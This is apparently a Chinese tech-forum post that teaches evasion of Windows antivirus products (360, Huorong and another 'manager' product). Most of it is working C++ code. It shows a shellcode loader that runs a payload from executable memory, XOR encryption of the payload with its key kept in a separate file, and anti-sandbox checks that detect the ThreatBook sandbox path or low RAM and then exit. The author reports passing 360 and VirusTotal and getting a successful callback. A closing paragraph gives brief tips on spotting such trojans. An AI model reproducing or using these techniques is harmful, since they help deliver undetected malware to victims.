前几天看到了有佬友在讨论各个杀毒还有佬友被C,360没扫出来的帖,突然让我想到了免杀.
引用佬友NULL的回复 这些才是真实情况下会遇到的后门和恶意程序,b站测评视频里那些都是玩具而已,只是符合大众对于病毒的想象,和实际的恶意程序完全不同
同时针对普通用户windows系统所遇到的木马病毒文件很多都存在一些破解软件.开源工具等等,会带下载者,shellcode加载器等…这些木马会静默安装加载到用户的电脑监控用户的电脑.
这些木马有时会伪装成图片,word文档.excel表格.某软件的安装器或者捆绑在一些程序上…
当这些木马加载到到用户的电脑,有的直接盗取某些资料,有的会劫持你的剪切板(例如检测到你复制了USDT的地址,他会把你复制的U地址劫持成控制者的U地址,因为U地址长度问题,很多人转账都是用的复制粘贴,所以导致很多人中招),或者进行一些操作包括不限于 管理你的文件,获取你的社交帐号key,监控你的屏幕,操作你的注册表,代理你的IP的登录你的某些账号避免风控。
以下基于windows系统 . 如有不当之处,望指正
同时测试一下 360 火绒 某管家
免杀方法从Payload加载来看可以分
本体exe的免杀 , Webshell,白加黑,shellcode加载器 。这些方法。大部分是这些。
我们这里讲shellcode加载
Shellcode可以远程网络加载或者资源捆绑或者放在图片里面都是可以的.这里为了方便我就放在目录文件了
/////////////////////////////////////////////////////////////////////
ifstream file("shellcode.bin", ios::binary | ios::ate);
if (!file.is_open())
{
cout << "无法打开文件" << endl;
return 1;
}
streampos size = file.tellg();
file.seekg(0, ios::beg);
char* buffer = new char[size];
file.read(buffer, size);
file.close();
void* mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL)
{
cout << "无法分配内存" << endl;
return 1;
}
memcpy(mem, buffer, size);
typedef void(*Shellcode)();
Shellcode sc = (Shellcode)mem;
sc();
VirtualFree(mem, 0, MEM_RELEASE);
/////////////////////////////////////////////////////////////////////
第一次杀软测试 管家和火绒已经过掉 360查杀
不知道是不是这个载荷被特征了,尝试把他用Xor加密一下
简单的Xor例子
std::vector<unsigned char> xor_encrypt(const std::vector<unsigned char>& data, const std::string& key) {
std::vector<unsigned char> encrypted_data(data.size());
size_t key_length = key.length();
for (size_t i = 0; i < data.size(); ++i) {
encrypted_data[i] = data[i] ^ key[i % key_length];
}
return encrypted_data;
}
自定义密钥x!@JDH
加密之后还是被杀
推测是360主动防御.主动防御又就不得不提起沙盒.也叫启发式查杀,通过模拟计算机环境执行文件再观测行为特征.
尝试把密钥单独拿出来存在一个文本里,让他去读取文本内的密钥然后解密加载
免杀成功 只不过这种简单的办法不会很持久,应该加密,编码,混淆.动态调用一系列操作或者白加黑.Webshell免杀
然后再上传一下微步沙箱,发现多引擎检测有一款检测到
然后github找了找
反沙箱的方法用了余吉的方法。
文档所说微步多年以来都是在C盘下生成一个随机字符串文件夹来运行
所以照着他这个代码改改就可以了.直接用会被杀
typedef BOOL(WINAPI* GetCurrentDirectoryA_t)(DWORD, LPSTR);
std::string getCurrentDir() {
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
if (hKernel32 == NULL) {
std::cerr << "Failed to load kernel32.dll" << std::endl;
return std::string();
}
GetCurrentDirectoryA_t pGetCurrentDirectoryA =
(GetCurrentDirectoryA_t)GetProcAddress(hKernel32, "GetCurrentDirectoryA");
if (pGetCurrentDirectoryA == NULL) {
std::cerr << "Failed to get address of GetCurrentDirectoryA" << std::endl;
FreeLibrary(hKernel32);
return std::string();
}
char buffer[256];
if (pGetCurrentDirectoryA(256, buffer) == 0) {
std::cerr << "Failed to get current directory" << std::endl;
FreeLibrary(hKernel32);
return std::string();
}
FreeLibrary(hKernel32);
return std::string(buffer);
}
bool isInSandbox() {
std::string currentPath(getCurrentDir());
std::regex rgx("^C:\\\\[A-Za-z0-9_]+");
return !std::regex_match(currentPath, rgx);
}
void showAlertAndExit(const std::wstring& msg) {
MessageBox(NULL, msg.c_str(), L"Alert", MB_OK | MB_ICONWARNING);
exit(0);
}
void wbsandbox() {
if (!isInSandbox()) {
showAlertAndExit(L"微步环境自动退出");
}
}
顺便写了个检测运行环境内存大小的如果小于3G(可自定义)就退出运行
也可以反杀箱
void CheckMemoryAndExit() {
MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(MEMORYSTATUSEX);
if (!GlobalMemoryStatusEx(&memStatus)) {
std::cerr << "获取内存状态失败" << std::endl;
return;
}
DWORDLONG totalMemory = memStatus.ullTotalPhys;
double totalMemoryGB = static_cast<double>(totalMemory) / (1024 * 1024 * 1024); // 转换为 GB
if (totalMemoryGB < 3.0) {
MessageBox(NULL, L"系统内存小于 3GB", L"退出警告", MB_OK | MB_ICONWARNING);
exit(1);
}
}
编译 上传微步 顺便传了下virustotal.com 效果还可以
最后测试成功上线
Test.cpp.txt (5.9 KB)
如果各位佬友不小心或者无意中中了此类木马,可以查看启动项有没有异常的启动,网络连接有没有异常的连接。现在黑产团队的这种木马一般都是白加黑 即一个正规带数字签名的EXE + 一个黑DLL,跟我当前使用的分离加载差不多样子,大家感兴趣的可以Google了解一下。
最后的最后 那些企业版的杀软怎样,咱不知道(毕竟主打的就是白嫖免费 )但是360,如果后续有敏感的操作还会被他各种防护 。对于安全防护来说 火什么绒,卡什么巴,什么管家,还是推荐360.(如果觉得太吃性能或者广告太多可以下载360极速版,目前用起来没发现有多少广告)
如有不当之处,望各位佬指正